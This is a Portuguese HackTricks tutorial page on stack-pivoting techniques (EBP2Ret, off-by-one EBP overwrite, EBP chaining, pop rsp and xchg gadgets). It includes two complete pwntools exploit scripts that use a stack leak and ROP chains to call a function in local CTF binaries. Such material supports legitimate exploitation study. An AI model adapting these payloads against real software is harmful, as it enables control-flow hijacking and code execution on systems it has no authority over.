hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

8 KiB

Stack Pivoting - EBP2Ret - EBP chaining

Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

Essa técnica explora a capacidade de manipular o Base Pointer (EBP) para encadear a execução de múltiplas funções por meio do uso cuidadoso do registro EBP e da sequência de instruções leave; ret.

Como lembrete, leave basicamente significa:

movl               %ebp, %esp
popl               %ebp
ret

E como o EBP está na pilha antes do EIP, é possível controlá-lo controlando a pilha.

EBP2Ret

Esta técnica é particularmente útil quando você pode alterar o registro EBP, mas não tem uma maneira direta de alterar o registro EIP. Ela aproveita o comportamento das funções quando terminam de executar.

Se, durante a execução de fvuln, você conseguir injetar um EBP falso na pilha que aponta para uma área na memória onde está localizado o endereço do seu shellcode (mais 4 bytes para considerar a operação pop), você pode controlar indiretamente o EIP. Quando fvuln retorna, o ESP é definido para esta localização manipulada, e a subsequente operação pop diminui o ESP em 4, fazendo com que ele aponte efetivamente para o seu shellcode. Quando a instrução ret é executada, o controle é transferido para o seu shellcode.

Construção do Exploit

Primeiro, você precisa injetar seu shellcode em algum lugar em uma memória executável e obter o endereço, ou obter o endereço de um ONE_GADGET válido, ou fazer o ESP apontar para um local com o endereço do system() seguido por 4 bytes de lixo e o endereço de "/bin/sh".

Em seguida, crie um preenchimento e comprometa o EBP com o endereço do shellcode/one_gadget - 4. Deve ser -4 por causa do pop. Em seguida, o ESP estará apontando para o endereço desejado e o ret será executado.

Exploit Off-By-One

Existe uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode apenas modificar o byte menos significativo do EBP. Nesse caso, o local de memória que armazena o endereço do shellcode deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.

EBP Chaining

Portanto, colocando um endereço controlado na entrada do EBP da pilha e um endereço para leave; ret no EIP, é possível mover o ESP para o endereço controlado do EBP na pilha.

Agora, o ESP é controlado apontando para um endereço desejado e a próxima instrução a ser executada é um RET. Para abusar disso, é possível colocar neste local controlado do ESP o seguinte:

  • &(próximo EBP falso) -> Carrega o novo EBP devido ao pop ebp da instrução leave
  • system() -> Chamado pelo ret
  • &(leave;ret) -> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente
  • &("/bin/sh")-> Parâmetro para system

Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.

Para ser sincero, isso é como um ret2lib, mas mais complexo sem benefício aparente, mas poderia ser interessante em alguns casos específicos.

Além disso, aqui está um exemplo de um desafio que usa essa técnica com um vazamento de pilha para chamar uma função vencedora. Este é o payload final da página:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

Outras maneiras de controlar RSP

Gadget pop rsp

Nesta página você pode encontrar um exemplo usando essa técnica. Para este desafio, foi necessário chamar uma função com 2 argumentos específicos, e havia um gadget pop rsp e um vazamento da pilha:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

Gadget xchg <reg>, rsp

pop <reg>                <=== return pointer
<reg value>
xchg <rag>, rsp

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: